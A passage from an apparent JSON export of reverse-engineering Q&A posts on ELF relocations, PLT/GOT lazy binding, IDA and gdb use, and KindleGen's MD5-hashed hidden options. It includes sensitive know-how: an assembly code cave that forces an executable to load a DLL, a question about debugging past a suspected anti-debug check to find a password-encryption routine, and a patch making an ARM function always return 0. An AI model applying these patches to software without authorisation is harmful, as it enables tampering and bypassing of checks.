FD00\n6D63    RUBBERFX.FT     0040    0076\n6DB8    RUBBERFX.3DW    045F    0BF0\n722C    PSPOTFX2.TM     1CBA    C000\n</code></pre>\n\n<p>This number is always somewhat larger than the first one. As we already suspect the file is compressed, I'd think that's the uncompressed size.</p>\n\n<p>So you see, you can find out <em>some</em> stuff from just looking at the file itself. However, the question remains why the offsets in table 1 aren't constant, and which type of compression gets used. And, this is where you need a lot of experience and/or luck. Either, you've been using compression programs 20 years ago and remember some of them and their file formats, and this looks just like on of them. (It doesn't, to me, it's neither ARC nor ZIP). Or, you need to disassemble the file and check how the code does it. Unfortunately, I'm afraid there is no other way.</p>\n"
    },
    {
        "Id": "14074",
        "CreationDate": "2016-11-30T14:30:12.357",
        "Body": "<p>How can I apply relocations of symbols in an elffile? I'm currently trying to archive this with pyelftools. Strangely, I could hardly find any information on how to do this, although some projects have to implement something like this (e.g. ida, angr, amoco, ...).</p>\n\n<p>In other words: I want to know where <em>elf imports</em> will be located in virtual memory. Of course, the sections should adhere to these relocations.</p>\n\n<p>Code snippets very appreciated.</p>\n",
        "Title": "Relocate ELF symbols",
        "Tags": "|elf|symbols|",
        "Answer": "<p>So after some toying around with elftools, I found the following solution for import-symbols:</p>\n\n<pre><code>    for section in self._elf.iter_sections():\n        if not isinstance(section, RelocationSection):\n            continue\n    symtable = self._elf.get_section(section['sh_link'])\n    for relocation in section.iter_relocations():\n        if not relocation['r_info_sym']:\n            continue\n        symbol = symtable.get_symbol(relocation['r_info_sym'])\n        yield ImportSymbol(relocation['r_offset'], symbol.name)\n</code></pre>\n\n<p>The code is inspired by <a href=\"https://github.com/eliben/pyelftools/blob/master/scripts/readelf.py\" rel=\"nofollow noreferrer\" title=\"implementation\">pyelftools readelf implementation</a></p>\n\n<p>Although pyelftools offers some relocation handling, I've not yet seen a binary for which that actually works. It will complain it doesn't know some relocation types, but for the future, I'll post this snippet:</p>\n\n<pre><code>def _reloc_section(self, section):\n    rh = RelocationHandler(self._elf)\n    data = section.data()\n    relocation_section = rh.find_relocations_for_section(section)\n    if relocation_section:\n        try:\n            rh.apply_section_relocations(data, relocation_section)\n        except Exception as e:\n            print 'Could not relocate %s' % section.name\n    return data\n</code></pre>\n"
    },
    {
        "Id": "14094",
        "CreationDate": "2016-12-02T21:07:06.647",
        "Body": "<p>I am trying to become familiar with IDA by reversing a .bin file that I have compiled myself. The code is written in cpp and the open source code can be found here: <a href=\"https://github.com/openxc/vi-firmware\" rel=\"nofollow noreferrer\">https://github.com/openxc/vi-firmware</a></p>\n\n<p>Taking a look at the Makefile and linker files (in vi-firmware/src and vi-firmware/src/platform/lpc17xx/), you can see the Flash and RAM locations are called out in the comments. The microcontroller uses an LPC17xx (<a href=\"http://vi.openxcplatform.com/electrical/design/microcontroller.html\" rel=\"nofollow noreferrer\">http://vi.openxcplatform.com/electrical/design/microcontroller.html</a>) with and ARM 7 architecture.</p>\n\n<p>Therefore, when I load IDA, I select Binary file and set the Processor to ARM and Processor Options to ARM 7. </p>\n\n<p>In the next menu I configure the RAM and ROM according to the comments in vi-firmware/src/platform/lpc17xx/LPC17xx-bootloader.ld and then, after pressing OK, get  the dialogue box telling me to \"Please move to what you think is an entry point\".</p>\n\n<p>I move 64KB (0x10000) into Flash (ROM) and hit 'C' to try to auto-analyse. Only a few lines translate to assembly.</p>\n\n<p>Is there anything else I can do here? I've combed the datasheet for the uC but haven't been able to find anything of use.</p>\n",
        "Title": "Locating entry point in specific firmware .bin file using IDA Pro",
        "Tags": "|ida|binary-format|",
        "Answer": "<p><em>(Disclaimer: I do not know ARM, this could be totally wrong)</em></p>\n\n<p>I loaded <code>vi-default-firmware-FORDBOARD-ctv7.2.0.bin</code> (downloaded from the <a href=\"https://github.com/openxc/vi-firmware/releases\" rel=\"nofollow noreferrer\">releases</a> page) into IDA with these settings:</p>\n\n<p><a href=\"https://i.stack.imgur.com/qFivb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qFivb.png\" alt=\"Settings for firmware\"></a></p>\n\n<p>Then, after putting the cursor at <code>0x10000</code>, you have to press <kbd>C</kbd>, then scroll to the <em>undefined</em> bytes, then press <kbd>C</kbd> again. Scroll to the top of the function and press <kbd>P</kbd> to make it a function, and have a nice graph view with <kbd>Space</kbd>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/dchMU.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dchMU.gif\" alt=\"How to fix the code\"></a></p>\n\n<p>I don't have any experience with ARM, but this seems like a proper function graph to me:</p>\n\n<p><a href=\"https://i.stack.imgur.com/8QV7c.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8QV7c.png\" alt=\"ARM function graph\"></a></p>\n"
    },
    {
        "Id": "14100",
        "CreationDate": "2016-12-03T11:20:18.447",
        "Body": "<p>Whenever there is a call to a function of a dynamically linked library (0x400586 in the example at the end), the call first leads to a few lines in the .plt section, which in turn starts with a jmp to an address found in the GOT (see 0x400450). It looks like this (unconditional!) jmp does not get executed the first time, which makes sense, as the GOT has not been set up yet, and will be done with the following lines (0x400456). But what kind of magic prevents the jmp at 0x400450 from being taken the first time?</p>\n\n<p>here's some code to clarify my question:</p>\n\n<pre><code>0x400586: call 0x400450 &lt;puts@plt&gt;\n</code></pre>\n\n<p>puts@plt then looks like this:</p>\n\n<pre><code>0x400450: jmp QWORD PTR [rip+0x200bc2]\n0x400456: push 0x0\n0x40045b: jmp 0x400440\n</code></pre>\n",
        "Title": "How is the first jmp skipped in plt entry",
        "Tags": "|functions|got|plt|",
        "Answer": "<p>In the file on disk, the GOT slot referenced in <code>0x400450</code> is initially set up with the address of the PLT stub at <code>0x400456</code>.</p>\n\n<p>So, the jump <em>is</em> taken the first time and goes to 0x400456 which pushes the target symbol's index (0 here) and jumps to the resolver (PLT0) stub at <code>0x400440</code> which finally goes to the dynamic loader routine, which:</p>\n\n<ol>\n<li>looks up the target symbol's address using the symbol index</li>\n<li>patches the GOT slot so it points to the target (<code>puts</code>)</li>\n<li>jumps to the target so that the program behaves as if it was called directly.</li>\n</ol>\n\n<p>So, the next time <code>puts@plt</code> is called, the jump goes directly to the already-resolved  <code>puts</code> without going through the dynamic loader again.</p>\n\n<p>I recommend you to follow these steps in a debugger for a clearer picture.</p>\n"
    },
    {
        "Id": "14115",
        "CreationDate": "2016-12-05T10:14:09.997",
        "Body": "<p>I'm debugging android JNI with gdb without source code. I use <code>ni</code> command to step over arm asm instructions. I suppose <code>ni</code> is <code>step over</code>, but it still goes into function like <code>BL xxxx</code>, and I have to use <code>finish</code> to get back.</p>\n\n<p>I tried <code>ni</code> and <code>si</code>, seems no difference, why? </p>\n",
        "Title": "why 'ni' goes into function in Android gdb debugging?",
        "Tags": "|android|gdb|",
        "Answer": "<p>You don't have the source code, so I assume you don't have any debug information with your binary either. This is just a guess, but without them, I suppose your BL is seen as a mere branch, not a subroutine call. For further explanation, see <a href=\"https://stackoverflow.com/questions/18841603/skip-library-function-in-arm-assembly-gdb/18866424#comment27821846_18847660\">this comment</a>.</p>\n"
    },
    {
        "Id": "14117",
        "CreationDate": "2016-12-05T22:29:59.310",
        "Body": "<p>Not sure if the title is that telling but what I want to do is hack into an executable and do as little as necessary to get the code from my DLL running since I want to write as few lines of assembly code as possible.</p>\n\n<p>I already have the place where I'd like to jump in and I am ready to insert the necessary assembly instructions into the executable using ollydbg but since I never did that before I'm afraid I need a little help on those last steps.</p>\n\n<p>What I want to do is basically:</p>\n\n<ol>\n<li>Force the executable to load my DLL</li>\n<li>Push a few parameters onto the stack for <code>init_my_dll()</code></li>\n<li>call <code>init_dll()</code> </li>\n</ol>\n\n<p>but I'm not sure what's the best way to accomplish that. Is there a straight forward way to get this done?</p>\n\n<p>Btw: Is what I'm doing here actually called \"dll-injection\"? </p>\n",
        "Title": "What is the quickest way to run code of my own DLL?",
        "Tags": "|ollydbg|dll|dll-injection|",
        "Answer": "<p>I ended up placing the required code in the executable:</p>\n\n<pre><code>00C0B500   68 B6B4C000      PUSH ForgedAl.00C0B4B6                    ; ASCII \"lua-extension.dll\"\n00C0B505   FF15 88F4C000    CALL DWORD PTR DS:[&lt;&amp;KERNEL32.LoadLibrar&gt; ; kernel32.LoadLibraryA\n\n00C0B50B   68 C9B4C000      PUSH ForgedAl.00C0B4C9                    ; ASCII \"initialize\"\n00C0B510   50               PUSH EAX                                  ; push dll handle\n00C0B511   FF15 8CF4C000    CALL DWORD PTR DS:[&lt;&amp;KERNEL32.GetProcAdd&gt; ; kernel32.GetProcAddress\n\n00C0B517   56               PUSH ESI                                  ; holds pointer to the struct I want to steal -&gt; parameter of \"initialize\"\n00C0B518   FFD0             CALL EAX                                  ; call \"initialize\"\n00C0B51A   5E               POP ESI\n\n00C0B51B  ^E9 6648D0FF      JMP ForgedAl.0090FD86                     ; jump back and continue original program flow\n</code></pre>\n"
    },
    {
        "Id": "14121",
        "CreationDate": "2016-12-07T08:53:18.370",
        "Body": "<p>The Amazon KindleGen command line app (<a href=\"https://www.amazon.com/gp/feature.html?docId=1000765211\" rel=\"nofollow noreferrer\">Windows, macOS, Linux</a> download links) has several undocumented command line parameters that I'm curious about. One of these hidden command line parameters is:</p>\n\n<pre><code>-dont_append_source\n</code></pre>\n\n<p>However, this string can't be found with the <strong>strings</strong> app or any of the many dissassemblers that I tried. It's therefore highly likely that some of the command line parameters have been obfuscated. </p>\n\n<p>There are at least 8 of them:</p>\n\n<pre><code>option: (hidden) Skip the HTML cleanup\noption: (hidden) creates json position map file for debugging purpose.\noption: (hidden) creates mobi for older devices.\noption: (hidden) Using manual(tag based) fragmentation mode for building Webkit reader compatible mobi.\noption: (hidden) Webkit reader Compatible mobi will be built\noption: (hidden) fragsize\noption: (hidden) custom image size will be used for resizing\noption: (hidden) amazon creator tool or pipeline\n</code></pre>\n\n<p>Are there any special tools out there that I could use to deobfuscate these hidden command line parameters?</p>\n",
        "Title": "How to find obfuscated hidden command line parameters?",
        "Tags": "|disassemblers|command-line|",
        "Answer": "<p>those command line switches seems to be plainly visible in several languages </p>\n\n<p><strong>kind:>kindlegen.exe -dont_append_source</strong></p>\n\n<pre><code>Info:I9018:option: -donotaddsource: Source files will not be added\n</code></pre>\n\n<p><strong>kind:>strings -o kindlegen.exe | grep -i donotaddsource</strong></p>\n\n<pre><code>5130184:option: -donotaddsource: Source files will not be added\n5208360:Option: -donotaddsource: Quelldateien werden nicht hinzugef\n5287768:option: -donotaddsource: Les fichiers sources se seront pas ajout\n5367504:opzione: -donotaddsource: I file sorgente non verranno aggiunti\n5448722:n: -donotaddsource: no se agregan los archivos fuente\n5482150:-donotaddsource\n5524610:: -donotaddsource:\n5595760:o:-donotaddsource: Os arquivos de origem n\n5673552:: -donotaddsource:\n5748880:optie: -donotaddsource: bronbestanden worden niet toegevoegd\n</code></pre>\n\n<p>binary dump at offset as shown by strings.exe</p>\n\n<pre><code>kind:\\&gt;xxd -s 5130184 -g1 -l0x70 kindlegen.exe\n04e47c8: 6f 00 70 00 74 00 69 00 6f 00 6e 00 3a 00 20 00  o.p.t.i.o.n.:. .\n04e47d8: 2d 00 64 00 6f 00 6e 00 6f 00 74 00 61 00 64 00  -.d.o.n.o.t.a.d.\n04e47e8: 64 00 73 00 6f 00 75 00 72 00 63 00 65 00 3a 00  d.s.o.u.r.c.e.:.\n04e47f8: 20 00 53 00 6f 00 75 00 72 00 63 00 65 00 20 00   .S.o.u.r.c.e. .\n04e4808: 66 00 69 00 6c 00 65 00 73 00 20 00 77 00 69 00  f.i.l.e.s. .w.i.\n04e4818: 6c 00 6c 00 20 00 6e 00 6f 00 74 00 20 00 62 00  l.l. .n.o.t. .b.\n04e4828: 65 00 20 00 61 00 64 00 64 00 65 00 64 00 00 00  e. .a.d.d.e.d...\n</code></pre>\n\n<p><strong>searching in  windbg</strong> </p>\n\n<pre><code>kindle:\\&gt;echo get bounds of exe &amp; cdb -c \"lm m kin*;q\" kindlegen.exe | grep def\nget bounds of exe\n00400000 00bdd000   kindlegen   (deferred)\nkindle:\\&gt;echo search string within bounds &amp; cdb -c \"lm m kin*;s -u kindlegen L?(0xbdd000\n-0x400000) donotaddsource: ; q\" kindlegen.exe | grep quit: -B 11\nsearch for emitted string within bounds\nstart    end        module name\n00400000 00bdd000   kindlegen   (deferred)\n008e59da  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n008f8b3a  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0090c16a  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0091f8e4  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0093361a  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n00945e88  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n00957476  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0096a456  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0097caa0  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\nquit:\n</code></pre>\n\n<p><strong>maybe all the commandline switches</strong> </p>\n\n<p><strong>0:000> .foreach (place { s -[1]u 400000 bdd000 option:}) {du /c100 place }</strong></p>\n\n<pre><code>00839650  \"option: {0}\"\n008e5478  \"option: -preserve_img: Original Image size will be preserved\"\n008e54f8  \"option: -image64K: The maximum size of the image is restricted to 64K\"\n008e5588  \"option: -image128K: The maximum size of the image is restricted to 128K\"\n008e5618  \"option: -gif: gif image conversion (no jpeg)\"\n008e5674  \"option: -c0: No compression\"\n008e56b0  \"option: -c1: Standard DOC compression\"\n008e5700  \"option: -c2: Kindle Huffdic compression\"\n008e5750  \"option: -allscript: Authorize all scripting\"\n008e57a8  \"option: -western: Forced Windows-1252 output\"\n008e5808  \"option: -verbose: Verbose output\"\n008e5850  \"option: -noparseback: Parse back won't be built\"\n008e58b0  \"option: -regserver: The XOPFPlugin type library has been registered\"\n008e5938  \"option: -unregserver: The XOPFPlugin type library has been unregistered\"\n008e59c8  \"option: -donotaddsource: Source files will not be added\"\n008e5a38  \"option: (hidden) Skip the HTML cleanup\"\n008e5a88  \"option: (hidden) creates json position map file for debugging purpose.\"\n008e5b18  \"option: (hidden) creates mobi for older devices.\"\n008e5b80  \"option: (hidden) Using manual(tag based) fragmentation mode for building Webkit reader compatible mobi.\"\n008e5c50  \"option: (hidden) Webkit reader Compatible mobi will be built\"\n008e5ccc  \"option: (hidden) fragsize\"\n008e5d00  \"option: (hidden) custom image size will be used for resizing\"\n008e5d80  \"option: (hidden) amazon creator tool or pipeline\"\n008e5de8  \"option: -genhdcontainers: eMM will be built with given resolutions\"\n0090bbc0  \"option: -preserve_img: La taille d'origine de l'image sera pr\u00e9serv\u00e9e\"\n0090bc50  \"option: -image64K: La taille maximum de l'image est limit\u00e9e \u00e0 64K\"\n0090bcd8  \"option: -image128K: La taille maximum de l'image est limit\u00e9e \u00e0 128K\"\n0090bd60  \"option: -gif: Conversion d'image gif (pas jpeg)\"\n0090bdc0  \"option: -c0: Aucune compression\"\n0090be00  \"option: -c1: Compression DOC standard\"\n0090be50  \"option: -c2: Compression Kindle Huffdic\"\n0090bea0  \"option: -allscript: Autorise toutes les sc\u00e9narisations\"\n0090bf10  \"option: -western: Sortie Windows-1252 forc\u00e9e\"\n0090bf70  \"option: -verbose: Sortie Verbose\"\n0090bfb8  \"option: -noparseback: Parse back ne sera pas construit\"\n0090c028  \"option: -regserver: Le type de biblioth\u00e8que XOPFPlugin a \u00e9t\u00e9 enregistr\u00e9\"\n0090c0b8  \"option: -unregserver: Le type de biblioth\u00e8que XOPFPlugin a \u00e9t\u00e9 d\u00e9senregistr\u00e9\"\n0090c158  \"option: -donotaddsource: Les fichiers sources se seront pas ajout\u00e9s\"\n0090c1e0  \"option: (masqu\u00e9e) Sauter le nettoyage HTML\"\n0090c238  \"option: (masqu\u00e9e) Cr\u00e9e fichier de carte de position json dans le but d'un d\u00e9bogage.\"\n0090c2e0  \"option: (masqu\u00e9e) cr\u00e9e un mobi pour les appareils plus anciens.\"\n0090c360  \"option: (masqu\u00e9e) Utilisation du mode de fragmentation manuelle (bas\u00e9 sur les balises) pour construire un lecteur Webkit compatible mobi.\"\n0090c478  \"option: (masqu\u00e9e) Un lecteur Webkit compatible mobi sera construit\"\n0090c500  \"option: (masqu\u00e9e) fragsize\"\n0090c538  \"option: (masqu\u00e9e) la taille d'image personnalis\u00e9e sera utilis\u00e9e pour redimmensionement\"\n0090c5e8  \"option: (cach\u00e9) amazon cr\u00e9ateur outil ou d'un pipeline\"\n009bbe70  \"option: {0}\"\n</code></pre>\n\n<p>the argument strings are hashed with md5 and compared to blob it appears as Guntram blohm commented to your original query</p>\n\n<p>with a fleet glance it appears the hashing function is an MD5 implementation</p>\n\n<pre><code>CPU Disasm\nAddress                                    Hex dump          Command                                       Comments\n006836F0 thiscallhashestheargstring (MD5)  /$  83EC 68       SUB     ESP, 68                               ; kindlegen.thiscallhashestheargstring (MD5)(guessed Arg1)\n006836F3                                   |.  8B50 08       MOV     EDX, DWORD PTR DS:[EAX+8]\n006836F6                                   |.  8B48 04       MOV     ECX, DWORD PTR DS:[EAX+4]\n</code></pre>\n\n<p>the possible md5 constants are visible inside the procedure</p>\n\n<pre><code>CPU Disasm\nAddress   Command                                       Comments\n006838FD  LEA     EAX, [EBX+EAX+D76AA478]&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n00683904  ROL     EAX, 7\n00683907  ADD     EAX, EDX\n00683909  AND     EDI, EAX\n0068390B  MOV     ECX, EAX\n0068390D  NOT     ECX\n0068390F  AND     ECX, ESI\n00683911  OR      ECX, EDI\n00683913  ADD     ECX, DWORD PTR SS:[ESP+3C]\n00683917  MOV     DWORD PTR SS:[ESP+18], EBX\n0068391B  LEA     ECX, [EBP+ECX+E8C7B756] &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n00683922  ROL     ECX, 0C\n00683925  ADD     ECX, EAX\n00683927  MOV     EDI, ECX\n00683929  NOT     EDI\n0068392B  AND     EDI, EDX\n0068392D  MOV     EBX, ECX\n0068392F  AND     EBX, EAX\n00683931  OR      EDI, EBX\n00683933  ADD     EDI, DWORD PTR SS:[ESP+40]\n00683937  MOV     DWORD PTR SS:[ESP+30], ESI\n0068393B  LEA     ESI, [ESI+EDI+242070DB] &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n</code></pre>\n\n<p>the MD5 hash for some arg strings are </p>\n\n<pre><code>cat dontapp.py\nimport md5\nprint md5.md5(\"-dont_append_source\").hexdigest()\nprint md5.md5(\"-intermediate_only\").hexdigest()\nprint md5.md5(\"-releasenotes\").hexdigest()\n\npython dontapp.py\n8465b444e1fe29390e2bb6b98b878829\nf837e7c59aeba2cfa4a0ccb7c941e1b8\n2368d23829ad7e680cd23385b9fcff6a \n</code></pre>\n\n<p><strong>and hash is compared to blob bytes here</strong> </p>\n\n<p>Note passing invalid args like -abracadabra doesnt land in this comparison function so it is possible there is a pre check like argstr len etc </p>\n\n<pre><code>CPU Disasm\nAddress                  Command                                       Comments\n006832B0 whoknowswhat    PUSH    EBP                                   ; kindlegen.whoknowswhat(guessed Arg1,Arg2)\n006832B1                 MOV     EBP, DWORD PTR SS:[ESP+8]\n</code></pre>\n\n<p><strong>a logging breakpoints yields this</strong></p>\n\n<p><strong>-dont_append_source hash</strong></p>\n\n<pre><code>006832B0  INT3: [esp+4] = 84 (132.)\n006832B0  INT3: [esp+4] = 65 (101.)\n006832B0  INT3: [esp+4] = 0B4 (180.)\n006832B0  INT3: [esp+4] = 44 (68.)\n006832B0  INT3: [esp+4] = 0E1 (225.)\n006832B0  INT3: [esp+4] = 0FE (254.)\n006832B0  INT3: [esp+4] = 29 (41.)\n006832B0  INT3: [esp+4] = 39 (57.)\n006832B0  INT3: [esp+4] = 0\n006832B0  INT3: [esp+4] = 0E (14.)\n006832B0  INT3: [esp+4] = 2B (43.)\n006832B0  INT3: [esp+4] = 0B6 (182.)\n006832B0  INT3: [esp+4] = 0B9 (185.)\n006832B0  INT3: [esp+4] = 8B (139.)\n006832B0  INT3: [esp+4] = 87 (135.)\n006832B0  INT3: [esp+4] = 88 (136.)\n006832B0  INT3: [esp+4] = 29 (41.)\n</code></pre>\n\n<p><strong>-intermediate_only hash</strong></p>\n\n<pre><code>006832B0  INT3: [esp+4] = 0F8 (248.)\n006832B0  INT3: [esp+4] = 37 (55.)\n006832B0  INT3: [esp+4] = 0E7 (231.)\n006832B0  INT3: [esp+4] = 0C5 (197.)\n006832B0  INT3: [esp+4] = 9A (154.)\n006832B0  INT3: [esp+4] = 0EB (235.)\n006832B0  INT3: [esp+4] = 0A2 (162.)\n006832B0  INT3: [esp+4] = 0CF (207.)\n006832B0  INT3: [esp+4] = 0A4 (164.)\n006832B0  INT3: [esp+4] = 0A0 (160.)\n006832B0  INT3: [esp+4] = 0CC (204.)\n006832B0  INT3: [esp+4] = 0B7 (183.)\n006832B0  INT3: [esp+4] = 0C9 (201.)\n006832B0  INT3: [esp+4] = 41 (65.)\n006832B0  INT3: [esp+4] = 0E1 (225.)\n006832B0  INT3: [esp+4] = 0B8 (184.)\n</code></pre>\n\n<p><strong>--releasenotes</strong></p>\n\n<pre><code>006832B0  INT3: [esp+4] = 23 (35.)\n006832B0  INT3: [esp+4] = 68 (104.)\n006832B0  INT3: [esp+4] = 0D2 (210.)\n006832B0  INT3: [esp+4] = 38 (56.)\n006832B0  INT3: [esp+4] = 29 (41.)\n006832B0  INT3: [esp+4] = 0AD (173.)\n006832B0  INT3: [esp+4] = 7E (126.)\n006832B0  INT3: [esp+4] = 68 (104.)\n006832B0  INT3: [esp+4] = 0\n006832B0  INT3: [esp+4] = 0C (12.)\n006832B0  INT3: [esp+4] = 0D2 (210.)\n006832B0  INT3: [esp+4] = 33 (51.)\n006832B0  INT3: [esp+4] = 85 (133.)\n006832B0  INT3: [esp+4] = 0B9 (185.)\n006832B0  INT3: [esp+4] = 0FC (252.)\n006832B0  INT3: [esp+4] = 0FF (255.)\n006832B0  INT3: [esp+4] = 6A (106.)\n</code></pre>\n"
    },
    {
        "Id": "14127",
        "CreationDate": "2016-12-07T22:28:29.853",
        "Body": "<p>i am trying to debug and find the encryption password algorithm in a Windows Application.\nWhenever i try to debug, setting a breakpoint or not, the application gives a exception: </p>\n\n<p><a href=\"https://i.stack.imgur.com/sE4rX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/sE4rX.png\" alt=\"exception message\"></a></p>\n\n<p>is it some kind of anti-debug that creates this exception? if yes, anyway i can  bypass it?</p>\n\n<p>Another information, the application has a login splash screen and when i try to run the debugger this screen shows and then the exception is raised.</p>\n",
        "Title": "how to bypass exception to debug EXE",
        "Tags": "|ida|windows|debugging|anti-debugging|exception|",
        "Answer": "<p>It seems this exception is used to <a href=\"https://msdn.microsoft.com/en-us/library/xcb2z8hs\" rel=\"nofollow noreferrer\">set the thread name for the debugger</a>. You should be able to safely ignore it.</p>\n"
    },
    {
        "Id": "14128",
        "CreationDate": "2016-12-08T04:57:20.703",
        "Body": "<p>I am analyzing a sequence of <code>x86</code> instructions, and become confused with the following code:</p>\n\n<pre><code>135328495: sbb edx, edx\n135328497: neg edx\n135328499: test edx, edx\n135328503: jz 0x810f31c\n</code></pre>\n\n<p>I understand that <code>sbb</code> equals to <code>des = des - (src + CF)</code>, in other words, the first instruction somehow put <code>-CF</code> into <code>edx</code>. Then it <code>negtive</code> <code>-CF</code> into <code>CF</code>, and <code>test</code> whether <code>CF</code> equals to zero??</p>\n\n<p>But note that <code>jz</code> checks flag <code>ZF</code>, not <code>CF</code>! So basically what is the above code sequence trying to do? This is a legal <code>x86</code> instruction sequence, produced by <code>g++</code> version <code>4.6.3</code>.</p>\n",
        "Title": "x86 sbb with same register as first and second operand",
        "Tags": "|assembly|x86|",
        "Answer": "<p>The sbb edx, edx statement writes either 0 or -1 to edx, depending only on the value of the carry flag. The following neg edx simply reflects the value of the initial carry flag. Thus the jz in your sequence is nothing else than a jnc statement (jmp on non-carry).\nHowever, this sequence might be found with an additional, preceding neg eax. The neg statement clears the carry in the zero case, otherwise sets it. This sequence might be used as a test for true or false, depending whether edx has some arbitrary nonzero value (true) or zero value (false). The sequence with the additional neg would then look like this:</p>\n\n<pre><code>neg edx          ; clears the carry flag in the zero case, otherwise sets it\nsbb edx, edx     ; if (cf == 0) then edx == 0, else edx == -1\nneg edx          ; remains zero if initially edx has been zero, else 1\ntest edx, edx    ;\njz toSomewhere   ; jmp on edx having been zero initially\n</code></pre>\n\n<p>btw, this is one of the questions I am planning for a reversing quiz.</p>\n\n<p>Have fun!</p>\n"
    },
    {
        "Id": "14139",
        "CreationDate": "2016-12-09T14:55:30.413",
        "Body": "<p>I try to use IDA to debug application with official Android ARM emulator. I set up debugger, installed APK and run application, it starts, writes \"waiting for debugger\", and debugger writes that \"connection has been gracefully closed\", and I see following message in IDA log: <code>ADB error: listener 'tcp:23915' not found</code></p>\n\n<p>The application is for sure debuggable; I have sources and debug the same APK with Android Studio. I can also debug C++ code with IDA remove ARM on the same emulator and the same APK.</p>\n\n<p>So why does Dalvik debugger not work?</p>\n",
        "Title": "IDA Dalvik Debugger doesn't work with official Android emulator",
        "Tags": "|ida|android|dalvik|",
        "Answer": "<p>I found solution myself. The thing is easy. It is one more Android Studio bug. I found that when IDA tries to connect to Dalvik debugger, I see following message in log:</p>\n\n<p><code>Ignoring second debugger -- accepting and dropping</code></p>\n\n<p>In not doubts no second debugger existed. Next, I found that this AVD doesn't work even with Android Studio and gives the same error.</p>\n\n<p>I found that other people have similar issue: <a href=\"https://stackoverflow.com/questions/3735450/ignoring-second-debugger-and-service-hang-in-android\">https://stackoverflow.com/questions/3735450/ignoring-second-debugger-and-service-hang-in-android</a></p>\n\n<p>The problem disappeared when I rebooted Windows.</p>\n"
    },
    {
        "Id": "14143",
        "CreationDate": "2016-12-10T01:08:58.457",
        "Body": "<p>I was reversing and then i've found a definition as COERCE_FLOAT:</p>\n\n<p><a href=\"https://i.stack.imgur.com/BLD6k.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BLD6k.png\" alt=\"\"></a></p>\n\n<pre><code>float v28;\nfloat v29;\n\nv29 = COERCE_FLOAT(&amp;v30);\nv28 = COERCE_FLOAT(&amp;v31); // what is this?\n</code></pre>\n\n<p>I've searched and\n<a href=\"https://reverseengineering.stackexchange.com/questions/11621/ida-decompiler-macro\">found</a>  that it was a simple casting method, but really like it would be in C++?</p>\n\n<p>the value of v30 pass to v29 without the pointer? i don't understand.</p>\n",
        "Title": "what is COERCE_FLOAT in ida Hex-Rays' C++ pseudocode?",
        "Tags": "|ida|c++|float|",
        "Answer": "<p>It's probably just a simple cast like WasserEsser said. I encountered this same type of cast while trying to decompile the q_rsqrt function. You could probably recreate the same type of behaviour by using an cast, like WasserEsser suggested, but you could probably also use an union, like in this code :</p>\n\n<pre><code>float Q_rsqrt( float number )\n{\n    union {\n        float f;\n        uint32_t i;\n    } conv;\n\n    float x2;\n    const float threehalfs = 1.5F;\n\n    x2 = number * 0.5F;\n    conv.f  = number;\n    conv.i  = 0x5f3759df - ( conv.i &gt;&gt; 1 );\n    conv.f  = conv.f * ( threehalfs - ( x2 * conv.f * conv.f ) );\n    return conv.f;\n}\n</code></pre>\n\n<p>Which then decompiles to this :</p>\n\n<pre><code>float __stdcall Q_rsqrt(float a1)\n{\n  return (flt1Point5\n        - a1\n        * flt0Point5\n        * COERCE_FLOAT(0x5F3759DF - (SLODWORD(a1) &gt;&gt; 1))\n        * COERCE_FLOAT(0x5F3759DF - (SLODWORD(a1) &gt;&gt; 1)))\n       * COERCE_FLOAT(0x5F3759DF - (SLODWORD(a1) &gt;&gt; 1));\n}\n</code></pre>\n"
    },
    {
        "Id": "14152",
        "CreationDate": "2016-12-12T13:00:11.177",
        "Body": "<p>I have an ARM binary in which I want to patch a function to always return 0.\nMy understanding is this means I need to set <code>r0</code> register to 0.</p>\n\n<p>The disassembly looks like this</p>\n\n<pre><code>STMFD           SP!, {R4-R6,LR}\n&lt;lots of code&gt;\nLDMFD           SP!, {R4-R6,PC}\n</code></pre>\n\n<p>Can I overwrite all of this with a <code>mov r0, 0</code> -> <code>0000A0E3</code> followed by a return (<code>mov pc, lr</code> -> <code>0EF0A0E1</code>)?</p>\n",
        "Title": "patch function in ARM binary to always return 0",
        "Tags": "|disassembly|arm|patching|",
